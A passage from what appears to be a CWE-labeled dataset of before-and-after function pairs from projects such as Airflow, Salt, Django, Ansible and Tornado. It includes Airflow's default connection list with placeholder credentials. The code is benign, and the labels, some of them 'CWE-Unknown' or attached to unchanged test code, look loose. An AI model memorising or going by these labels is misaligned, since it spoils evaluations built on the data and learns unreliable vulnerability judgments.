    merge_conn(
        Connection(
            conn_id=""databricks_default"",
            conn_type=""databricks"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""dingding_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""drill_default"",
            conn_type=""drill"",
            host=""localhost"",
            port=8047,
            extra='{""dialect_driver"": ""drill+sadrill"", ""storage_plugin"": ""dfs""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_broker_default"",
            conn_type=""druid"",
            host=""druid-broker"",
            port=8082,
            extra='{""endpoint"": ""druid/v2/sql""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_ingest_default"",
            conn_type=""druid"",
            host=""druid-overlord"",
            port=8081,
            extra='{""endpoint"": ""druid/indexer/v1/task""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""elasticsearch_default"",
            conn_type=""elasticsearch"",
            host=""localhost"",
            schema=""http"",
            port=9200,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""emr_default"",
            conn_type=""emr"",
            extra=""""""
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Core nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""facebook_default"",
            conn_type=""facebook_social"",
            extra=""""""
                {   ""account_id"": ""<AD_ACCOUNT_ID>"",
                    ""app_id"": ""<FACEBOOK_APP_ID>"",
                    ""app_secret"": ""<FACEBOOK_APP_SECRET>"",
                    ""access_token"": ""<FACEBOOK_AD_ACCESS_TOKEN>""
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""fs_default"",
            conn_type=""fs"",
            extra='{""path"": ""/""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""ftp_default"",
            conn_type=""ftp"",
            host=""localhost"",
            port=21,
            login=""airflow"",
            password=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""google_cloud_default"",
            conn_type=""google_cloud_platform"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hive_cli_default"",
            conn_type=""hive_cli"",
            port=10000,
            host=""localhost"",
            extra='{""use_beeline"": true, ""auth"": """"}',
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hiveserver2_default"",
            conn_type=""hiveserver2"",
            host=""localhost"",
            schema=""default"",
            port=10000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""http_default"",
            conn_type=""http"",
            host=""https://www.httpbin.org/"",
        ),
        session,
    )
    merge_conn(Connection(conn_id=""impala_default"", conn_type=""impala"", host=""localhost"", port=21050))
    merge_conn(
        Connection(
            conn_id=""kafka_default"",
            conn_type=""kafka"",
            extra=json.dumps({""bootstrap.servers"": ""broker:29092""}),
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""kubernetes_default"",
            conn_type=""kubernetes"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""kylin_default"",
            conn_type=""kylin"",
            host=""localhost"",
            port=7070,
            login=""ADMIN"",
            password=""KYLIN"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""leveldb_default"",
            conn_type=""leveldb"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(Connection(conn_id=""livy_default"", conn_type=""livy"", host=""livy"", port=8998), session)
    merge_conn(
        Connection(
            conn_id=""local_mysql"",
            conn_type=""mysql"",
            host=""localhost"",
            login=""airflow"",
            password=""airflow"",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""metastore_default"",
            conn_type=""hive_metastore"",
            host=""localhost"",
            extra='{""authMechanism"": ""PLAIN""}',
            port=9083,
        ),
        session,
    )
    merge_conn(Connection(conn_id=""mongo_default"", conn_type=""mongo"", host=""mongo"", port=27017), session)
    merge_conn(
        Connection(
            conn_id=""mssql_default"",
            conn_type=""mssql"",
            host=""localhost"",
            port=1433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""mysql_default"",
            conn_type=""mysql"",
            login=""root"",
            schema=""airflow"",
            host=""mysql"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""opsgenie_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""oracle_default"",
            conn_type=""oracle"",
            host=""localhost"",
            login=""root"",
            password=""password"",
            schema=""schema"",
            port=1521,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""oss_default"",
            conn_type=""oss"",
            extra=""""""{
                ""auth_type"": ""AK"",
                ""access_key_id"": ""<ACCESS_KEY_ID>"",
                ""access_key_secret"": ""<ACCESS_KEY_SECRET>"",
                ""region"": ""<YOUR_OSS_REGION>""}
                """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pig_cli_default"",
            conn_type=""pig_cli"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_admin_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_broker_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
            extra='{""endpoint"": ""/query"", ""schema"": ""http""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""postgres_default"",
            conn_type=""postgres"",
            login=""postgres"",
            password=""airflow"",
            schema=""airflow"",
            host=""postgres"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""presto_default"",
            conn_type=""presto"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""qdrant_default"",
            conn_type=""qdrant"",
            host=""qdrant"",
            port=6333,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""redis_default"",
            conn_type=""redis"",
            host=""redis"",
            port=6379,
            extra='{""db"": 0}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""redshift_default"",
            conn_type=""redshift"",
            extra=""""""{
    ""iam"": true,
    ""cluster_identifier"": ""<REDSHIFT_CLUSTER_IDENTIFIER>"",
    ""port"": 5439,
    ""profile"": ""default"",
    ""db_user"": ""awsuser"",
    ""database"": ""dev"",
    ""region"": """"
}"""""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""salesforce_default"",
            conn_type=""salesforce"",
            login=""username"",
            password=""password"",
            extra='{""security_token"": ""security_token""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""segment_default"",
            conn_type=""segment"",
            extra='{""write_key"": ""my-segment-write-key""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sftp_default"",
            conn_type=""sftp"",
            host=""localhost"",
            port=22,
            login=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""spark_default"",
            conn_type=""spark"",
            host=""yarn"",
            extra='{""queue"": ""root.default""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sqlite_default"",
            conn_type=""sqlite"",
            host=os.path.join(gettempdir(), ""sqlite_default.db""),
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""ssh_default"",
            conn_type=""ssh"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""tableau_default"",
            conn_type=""tableau"",
            host=""https://tableau.server.url"",
            login=""user"",
            password=""password"",
            extra='{""site_id"": ""my_site""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""tabular_default"",
            conn_type=""tabular"",
            host=""https://api.tabulardata.io/ws/v1"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""teradata_default"",
            conn_type=""teradata"",
            host=""localhost"",
            login=""user"",
            password=""password"",
            schema=""schema"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""trino_default"",
            conn_type=""trino"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""vertica_default"",
            conn_type=""vertica"",
            host=""localhost"",
            port=5433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""wasb_default"",
            conn_type=""wasb"",
            extra='{""sas_token"": null}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""webhdfs_default"",
            conn_type=""hdfs"",
            host=""localhost"",
            port=50070,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""yandexcloud_default"",
            conn_type=""yandexcloud"",
            schema=""default"",
        ),
        session,
    )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/states/test_ldap.py,0,"def _dummy_search(connect_spec, base, scope):
    if base not in db:
        return {}
    return {base: dict(((attr, list(db[base][attr]))
                        for attr in db[base]
                        if db[base][attr]))}",,saltstack/salt,4e34ac3f45c8c0d8e264d4b59205eff20a8d2d6b,"def _dummy_search(connect_spec, base, scope):
    if base not in db:
        return {}
    return {base: dict(((attr, list(db[base][attr]))
                        for attr in db[base]
                        if len(db[base][attr])))}"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/handlers/tests/test_keepalive.py,0,"def test_replace_conn(self):
        cf = lambda h: Mock()
        bad_conn = Mock()
        self.cm.replace_connection( bad_conn, self.host, cf)
        bad_conn = self.cm.get_available_connection(self.host, cf)
        old_len = self.cm.get_connections_total()
        # Replace bad with a new one
        new_conn = self.cm.replace_connection(bad_conn, self.host, cf)
        # Must be different conn objects
        self.assertNotEquals(bad_conn, new_conn)
        # The len must be the same
        self.assertEquals(self.cm.get_connections_total(), old_len)",,andresriancho/w3af,425e3191f9a58838d59358a6f6d69afaebdf1cf7,"def test_replace_conn(self):
        cf = lambda h: Mock()
        bad_conn = Mock()
        self.assertRaises(
            ValueError, self.cm.replace_connection, bad_conn, self.host, cf)
        bad_conn = self.cm.get_available_connection(self.host, cf)
        old_len = self.cm.get_connections_total()
        # Replace bad with a new one
        new_conn = self.cm.replace_connection(bad_conn, self.host, cf)
        # Must be different conn objects
        self.assertNotEquals(bad_conn, new_conn)
        # The len must be the same
        self.assertEquals(self.cm.get_connections_total(), old_len)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,docs/_ext/djangodocs.py,0,"def visit_console_html(self, node):
    """"""Generate HTML for the console directive.""""""
    if self.builder.name in ('djangohtml', 'json') and node['win_console_text']:
        # Put a mark on the document object signaling the fact the directive
        # has been used on it.
        self.document._console_directive_used_flag = True
        uid = node['uid']
        self.body.append('''\
<div class=""console-block"" id=""console-block-%(id)s"">
<input class=""c-tab-unix"" id=""c-tab-%(id)s-unix"" type=""radio"" name=""console-%(id)s"" checked>
<label for=""c-tab-%(id)s-unix"" title=""Linux/macOS"">&#xf17c/&#xf179</label>
<input class=""c-tab-win"" id=""c-tab-%(id)s-win"" type=""radio"" name=""console-%(id)s"">
<label for=""c-tab-%(id)s-win"" title=""Windows"">&#xf17a</label>
<section class=""c-content-unix"" id=""c-content-%(id)s-unix"">\n''' % {'id': uid})
        try:
            self.visit_literal_block(node)
        except nodes.SkipNode:
            pass
        self.body.append('</section>\n')

        self.body.append('<section class=""c-content-win"" id=""c-content-%(id)s-win"">\n' % {'id': uid})
        win_text = node['win_console_text']
        highlight_args = {'force': True}
        linenos = node.get('linenos', False)

        def warner(msg):
            self.builder.warn(msg, (self.builder.current_docname, node.line))

        highlighted = self.highlighter.highlight_block(
            win_text, 'doscon', warn=warner, linenos=linenos, **highlight_args
        )
        self.body.append(highlighted)
        self.body.append('</section>\n')
        self.body.append('</div>\n')
        raise nodes.SkipNode
    else:
        self.visit_literal_block(node)",CWE-Unknown,django/django,28dd5362ae17a975c4d273d6019aeb8e890e3576,"def visit_console_html(self, node):
    """"""Generate HTML for the console directive.""""""
    if self.builder.name in ('djangohtml', 'json') and node['win_console_text']:
        # Put a mark on the document object signaling the fact the directive
        # has been used on it.
        self.document._console_directive_used_flag = True
        uid = node['uid']
        self.body.append('''\
<div class=""console-block"" id=""console-block-%(id)s"">
<input class=""c-tab-unix"" id=""c-tab-%(id)s-unix"" type=""radio"" name=""console-%(id)s"" checked>
<label for=""c-tab-%(id)s-unix"" title=""Linux/macOS"">&#xf17c/&#xf179</label>
<input class=""c-tab-win"" id=""c-tab-%(id)s-win"" type=""radio"" name=""console-%(id)s"">
<label for=""c-tab-%(id)s-win"" title=""Windows"">&#xf17a</label>
<section class=""c-content-unix"" id=""c-content-%(id)s-unix"">\n''' % {'id': uid})
        try:
            self.visit_literal_block(node)
        except nodes.SkipNode:
            pass
        self.body.append('</section>\n')

        self.body.append('<section class=""c-content-win"" id=""c-content-%(id)s-win"">\n' % {'id': uid})
        win_text = node['win_console_text']
        highlight_args = {'force': True}
        if 'linenos' in node:
            linenos = node['linenos']
        else:
            linenos = win_text.count('\n') >= self.highlightlinenothreshold - 1

        def warner(msg):
            self.builder.warn(msg, (self.builder.current_docname, node.line))

        highlighted = self.highlighter.highlight_block(
            win_text, 'doscon', warn=warner, linenos=linenos, **highlight_args
        )
        self.body.append(highlighted)
        self.body.append('</section>\n')
        self.body.append('</div>\n')
        raise nodes.SkipNode
    else:
        self.visit_literal_block(node)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/linear.py,0,"def run(self, iterator, play_context):
        '''
        The linear strategy is simple - get the next task and queue
        it for all hosts, then wait for the queue to drain before
        moving on to the next task
        '''

        # iteratate over each task, while there is one left to run
        result     = True
        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            try:
                display.debug(""getting the remaining hosts for this loop"")
                hosts_left = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                display.debug(""done getting the remaining hosts for this loop"")

                # queue up this task for each host in the inventory
                callback_sent = False
                work_to_do = False

                host_results = []
                host_tasks = self._get_next_task_lockstep(hosts_left, iterator)

                # skip control
                skip_rest   = False
                choose_step = True

                # flag set if task is set to any_errors_fatal
                any_errors_fatal = False

                results = []
                for (host, task) in host_tasks:
                    if not task:
                        continue

                    if self._tqm._terminated:
                        break

                    run_once = False
                    work_to_do = True

                    # test to see if the task across all hosts points to an action plugin which
                    # sets BYPASS_HOST_LOOP to true, or if it has run_once enabled. If so, we
                    # will only send this task to the first host in the list.

                    try:
                        action = action_loader.get(task.action, class_only=True)
                    except KeyError:
                        # we don't care here, because the action may simply not have a
                        # corresponding action plugin
                        action = None

                    # check to see if this task should be skipped, due to it being a member of a
                    # role which has already run (and whether that role allows duplicate execution)
                    if task._role and task._role.has_run(host):
                        # If there is no metadata, the default behavior is to not allow duplicates,
                        # if there is metadata, check to see if the allow_duplicates flag was set to true
                        if task._role._metadata is None or task._role._metadata and not task._role._metadata.allow_duplicates:
                            display.debug(""'%s' skipped because role has already run"" % task)
                            continue

                    if task.action == 'meta':
                        self._execute_meta(task, play_context, iterator)
                    else:
                        # handle step if needed, skip meta actions as they are used internally
                        if self._step and choose_step:
                            if self._take_step(task):
                                choose_step = False
                            else:
                                skip_rest = True
                                break

                        display.debug(""getting variables"")
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug(""done getting variables"")

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)

                        if (task.any_errors_fatal or run_once) and not task.ignore_errors:
                            any_errors_fatal = True

                        if not callback_sent:
                            display.debug(""sending task start callback, copying the task so we can template it temporarily"")
                            saved_name = task.name
                            display.debug(""done copying, going to template now"")
                            try:
                                task.name = text_type(templar.template(task.name, fail_on_undefined=False))
                                display.debug(""done templating"")
                            except:
                                # just ignore any errors during task name templating,
                                # we don't care if it just shows the raw name
                                display.debug(""templating failed for some reason"")
                                pass
                            display.debug(""here goes the callback..."")
                            self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                            task.name = saved_name
                            callback_sent = True
                            display.debug(""sending task start callback"")

                        self._blocked_hosts[host.get_name()] = True
                        self._queue_task(host, task, task_vars, play_context)

                    # if we're bypassing the host loop, break out now
                    if run_once:
                        break

                    results += self._process_pending_results(iterator, one_pass=True)

                # go to next host/task group
                if skip_rest:
                    continue

                display.debug(""done queuing things up, now waiting for results queue to drain"")
                results += self._wait_on_pending_results(iterator)
                host_results.extend(results)

                if not work_to_do and len(iterator.get_failed_hosts()) > 0:
                    display.debug(""out of hosts to run on"")
                    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                    result = False
                    break

                try:
                    included_files = IncludedFile.process_include_results(
                        host_results,
                        self._tqm,
                        iterator=iterator,
                        inventory=self._inventory,
                        loader=self._loader,
                        variable_manager=self._variable_manager
                    )
                except AnsibleError as e:
                    return False

                include_failure = False
                if len(included_files) > 0:
                    display.debug(""we have included files to process"")
                    noop_task = Task()
                    noop_task.action = 'meta'
                    noop_task.args['_raw_params'] = 'noop'
                    noop_task.set_loader(iterator._play._loader)

                    display.debug(""generating all_blocks data"")
                    all_blocks = dict((host, []) for host in hosts_left)
                    display.debug(""done generating all_blocks data"")
                    for included_file in included_files:
                        display.debug(""processing included file: %s"" % included_file._filename)
                        # included hosts get the task list while those excluded get an equal-length
                        # list of noop tasks, to make sure that they continue running in lock-step
                        try:
                            new_blocks = self._load_included_file(included_file, iterator=iterator)

                            display.debug(""iterating over new_blocks loaded from include file"")
                            for new_block in new_blocks:
                                task_vars = self._variable_manager.get_vars(
                                    loader=self._loader,
                                    play=iterator._play,
                                    task=included_file._task,
                                )
                                display.debug(""filtering new block on tags"")
                                final_block = new_block.filter_tagged_tasks(play_context, task_vars)
                                display.debug(""done filtering new block on tags"")

                                noop_block = Block(parent_block=task._block)
                                noop_block.block  = [noop_task for t in new_block.block]
                                noop_block.always = [noop_task for t in new_block.always]
                                noop_block.rescue = [noop_task for t in new_block.rescue]

                                for host in hosts_left:
                                    if host in included_file._hosts:
                                        all_blocks[host].append(final_block)
                                    else:
                                        all_blocks[host].append(noop_block)
                            display.debug(""done iterating over new_blocks loaded from include file"")

                        except AnsibleError as e:
                            for host in included_file._hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                            display.error(to_unicode(e), wrap_text=False)
                            include_failure = True
                            continue

                    # finally go through all of the hosts and append the
                    # accumulated blocks to their list of tasks
                    display.debug(""extending task lists for all hosts with included blocks"")

                    for host in hosts_left:
                        iterator.add_tasks(host, all_blocks[host])

                    display.debug(""done extending task lists"")
                    display.debug(""done processing included files"")

                display.debug(""results queue empty"")

                display.debug(""checking for any_errors_fatal"")
                failed_hosts = []
                for res in results:
                    if res.is_failed():
                        failed_hosts.append(res._host.name)

                # if any_errors_fatal and we had an error, mark all hosts as failed
                if any_errors_fatal and len(failed_hosts) > 0:
                    for host in hosts_left:
                        # don't double-mark hosts, or the iterator will potentially
                        # fail them out of the rescue/always states
                        if host.name not in failed_hosts:
                            self._tqm._failed_hosts[host.name] = True
                            iterator.mark_host_failed(host)
                display.debug(""done checking for any_errors_fatal"")

                display.debug(""checking for max_fail_percentage"")
                if iterator._play.max_fail_percentage is not None and len(results) > 0:
                    percentage = iterator._play.max_fail_percentage / 100.0

                    if (len(iterator.get_failed_hosts()) / len(results)) > percentage:
                        for host in hosts_left:
                            # don't double-mark hosts, or the iterator will potentially
                            # fail them out of the rescue/always states
                            if host.name not in failed_hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                display.debug(""done checking for max_fail_percentage"")

            except (IOError, EOFError) as e:
                display.debug(""got IOError/EOFError in task loop: %s"" % e)
                # most likely an abort, return failed
                return False

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered

        return super(StrategyModule, self).run(iterator, play_context, result)",,ansible/ansible,0f659d699e24891eb3948445a3c4ea3009c7fd9f,"def run(self, iterator, play_context):
        '''
        The linear strategy is simple - get the next task and queue
        it for all hosts, then wait for the queue to drain before
        moving on to the next task
        '''

        # iteratate over each task, while there is one left to run
        result     = True
        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            try:
                display.debug(""getting the remaining hosts for this loop"")
                hosts_left = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts and not iterator.is_failed(host)]
                display.debug(""done getting the remaining hosts for this loop"")

                # queue up this task for each host in the inventory
                callback_sent = False
                work_to_do = False

                host_results = []
                host_tasks = self._get_next_task_lockstep(hosts_left, iterator)

                # skip control
                skip_rest   = False
                choose_step = True

                # flag set if task is set to any_errors_fatal
                any_errors_fatal = False

                results = []
                for (host, task) in host_tasks:
                    if not task:
                        continue

                    if self._tqm._terminated:
                        break

                    run_once = False
                    work_to_do = True

                    # test to see if the task across all hosts points to an action plugin which
                    # sets BYPASS_HOST_LOOP to true, or if it has run_once enabled. If so, we
                    # will only send this task to the first host in the list.

                    try:
                        action = action_loader.get(task.action, class_only=True)
                    except KeyError:
                        # we don't care here, because the action may simply not have a
                        # corresponding action plugin
                        action = None

                    # check to see if this task should be skipped, due to it being a member of a
                    # role which has already run (and whether that role allows duplicate execution)
                    if task._role and task._role.has_run(host):
                        # If there is no metadata, the default behavior is to not allow duplicates,
                        # if there is metadata, check to see if the allow_duplicates flag was set to true
                        if task._role._metadata is None or task._role._metadata and not task._role._metadata.allow_duplicates:
                            display.debug(""'%s' skipped because role has already run"" % task)
                            continue

                    if task.action == 'meta':
                        self._execute_meta(task, play_context, iterator)
                    else:
                        # handle step if needed, skip meta actions as they are used internally
                        if self._step and choose_step:
                            if self._take_step(task):
                                choose_step = False
                            else:
                                skip_rest = True
                                break

                        display.debug(""getting variables"")
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug(""done getting variables"")

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)

                        if (task.any_errors_fatal or run_once) and not task.ignore_errors:
                            any_errors_fatal = True

                        if not callback_sent:
                            display.debug(""sending task start callback, copying the task so we can template it temporarily"")
                            saved_name = task.name
                            display.debug(""done copying, going to template now"")
                            try:
                                task.name = text_type(templar.template(task.name, fail_on_undefined=False))
                                display.debug(""done templating"")
                            except:
                                # just ignore any errors during task name templating,
                                # we don't care if it just shows the raw name
                                display.debug(""templating failed for some reason"")
                                pass
                            display.debug(""here goes the callback..."")
                            self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                            task.name = saved_name
                            callback_sent = True
                            display.debug(""sending task start callback"")

                        self._blocked_hosts[host.get_name()] = True
                        self._queue_task(host, task, task_vars, play_context)

                    # if we're bypassing the host loop, break out now
                    if run_once:
                        break

                    results += self._process_pending_results(iterator, one_pass=True)

                # go to next host/task group
                if skip_rest:
                    continue

                display.debug(""done queuing things up, now waiting for results queue to drain"")
                results += self._wait_on_pending_results(iterator)
                host_results.extend(results)

                if not work_to_do and len(iterator.get_failed_hosts()) > 0:
                    display.debug(""out of hosts to run on"")
                    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                    result = False
                    break

                try:
                    included_files = IncludedFile.process_include_results(
                        host_results,
                        self._tqm,
                        iterator=iterator,
                        inventory=self._inventory,
                        loader=self._loader,
                        variable_manager=self._variable_manager
                    )
                except AnsibleError as e:
                    return False

                include_failure = False
                if len(included_files) > 0:
                    display.debug(""we have included files to process"")
                    noop_task = Task()
                    noop_task.action = 'meta'
                    noop_task.args['_raw_params'] = 'noop'
                    noop_task.set_loader(iterator._play._loader)

                    display.debug(""generating all_blocks data"")
                    all_blocks = dict((host, []) for host in hosts_left)
                    display.debug(""done generating all_blocks data"")
                    for included_file in included_files:
                        display.debug(""processing included file: %s"" % included_file._filename)
                        # included hosts get the task list while those excluded get an equal-length
                        # list of noop tasks, to make sure that they continue running in lock-step
                        try:
                            new_blocks = self._load_included_file(included_file, iterator=iterator)

                            display.debug(""iterating over new_blocks loaded from include file"")
                            for new_block in new_blocks:
                                task_vars = self._variable_manager.get_vars(
                                    loader=self._loader,
                                    play=iterator._play,
                                    task=included_file._task,
                                )
                                display.debug(""filtering new block on tags"")
                                final_block = new_block.filter_tagged_tasks(play_context, task_vars)
                                display.debug(""done filtering new block on tags"")

                                noop_block = Block(parent_block=task._block)
                                noop_block.block  = [noop_task for t in new_block.block]
                                noop_block.always = [noop_task for t in new_block.always]
                                noop_block.rescue = [noop_task for t in new_block.rescue]

                                for host in hosts_left:
                                    if host in included_file._hosts:
                                        all_blocks[host].append(final_block)
                                    else:
                                        all_blocks[host].append(noop_block)
                            display.debug(""done iterating over new_blocks loaded from include file"")

                        except AnsibleError as e:
                            for host in included_file._hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                            display.error(to_unicode(e), wrap_text=False)
                            include_failure = True
                            continue

                    # finally go through all of the hosts and append the
                    # accumulated blocks to their list of tasks
                    display.debug(""extending task lists for all hosts with included blocks"")

                    for host in hosts_left:
                        iterator.add_tasks(host, all_blocks[host])

                    display.debug(""done extending task lists"")
                    display.debug(""done processing included files"")

                display.debug(""results queue empty"")

                display.debug(""checking for any_errors_fatal"")
                failed_hosts = []
                for res in results:
                    if res.is_failed():
                        failed_hosts.append(res._host.name)

                # if any_errors_fatal and we had an error, mark all hosts as failed
                if any_errors_fatal and len(failed_hosts) > 0:
                    for host in hosts_left:
                        # don't double-mark hosts, or the iterator will potentially
                        # fail them out of the rescue/always states
                        if host.name not in failed_hosts:
                            self._tqm._failed_hosts[host.name] = True
                            iterator.mark_host_failed(host)
                display.debug(""done checking for any_errors_fatal"")

                display.debug(""checking for max_fail_percentage"")
                if iterator._play.max_fail_percentage is not None and len(results) > 0:
                    percentage = iterator._play.max_fail_percentage / 100.0

                    if (len(iterator.get_failed_hosts()) / len(results)) > percentage:
                        for host in hosts_left:
                            # don't double-mark hosts, or the iterator will potentially
                            # fail them out of the rescue/always states
                            if host.name not in failed_hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                display.debug(""done checking for max_fail_percentage"")

            except (IOError, EOFError) as e:
                display.debug(""got IOError/EOFError in task loop: %s"" % e)
                # most likely an abort, return failed
                return False

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered

        return super(StrategyModule, self).run(iterator, play_context, result)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/ioloop.py,0,"def handle_callback_exception(self, callback):
        """"""This method is called whenever a callback run by the `IOLoop`
        throws an exception.

        By default simply logs the exception as an error.  Subclasses
        may override this method to customize reporting of exceptions.

        The exception itself is not passed explicitly, but is available
        in `sys.exc_info`.
        """"""
        app_log.error(""Exception in callback %r"", callback, exc_info=True)",CWE-Unknown,tornadoweb/tornado,7552caed9966b01d01786229ccc2cc9049e8068d,"def handle_callback_exception(self, callback):
        """"""This method is called whenever a callback run by the `IOLoop`
        throws an exception.

        By default simply logs the exception as an error.  Subclasses
        may override this method to customize reporting of exceptions.

        The exception itself is not passed explicitly, but is available
        in `sys.exc_info`.
        """"""
        app_log.error(""Exception in callback %r"", callback, exc_info=True)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/test_etcd_util.py,1,"def test_get():
    """"""
    Test if it get a value from etcd, by direct path
    """"""
    with patch(""etcd.Client"") as mock:
        client = etcd_util.EtcdClient({})

        with patch.object(client, ""read"", autospec=True) as mock:
            mock.return_value = MagicMock(value=""stack"")
            assert client.get(""salt"") == ""stack""
            mock.assert_called_with(""salt"", recursive=False)

            # iter(list(Exception)) works correctly with both mock<1.1 and mock>=1.1
            mock.side_effect = iter([etcd.EtcdKeyNotFound()])
            assert client.get(""not-found"") is None

            mock.side_effect = iter([etcd.EtcdConnectionFailed()])
            assert client.get(""watching"") is None

            # python 2.6 test
            mock.side_effect = ValueError
            assert client.get(""not-found"") is None

            mock.side_effect = Exception
            with pytest.raises(Exception):
                client.get(""some-error"")

        # Get with recurse now delegates to client.tree
        with patch.object(client, ""tree"", autospec=True) as tree_mock:
            tree_mock.return_value = {""salt"": ""stack""}
            assert client.get(""salt"", recurse=True) == {""salt"": ""stack""}
            tree_mock.assert_called_with(""salt"")",CWE-703,saltstack/salt,f9411f05d919d781caf7a4b8dcd0505f597b4439,"def test_get():
    """"""
    Test if it get a value from etcd, by direct path
    """"""
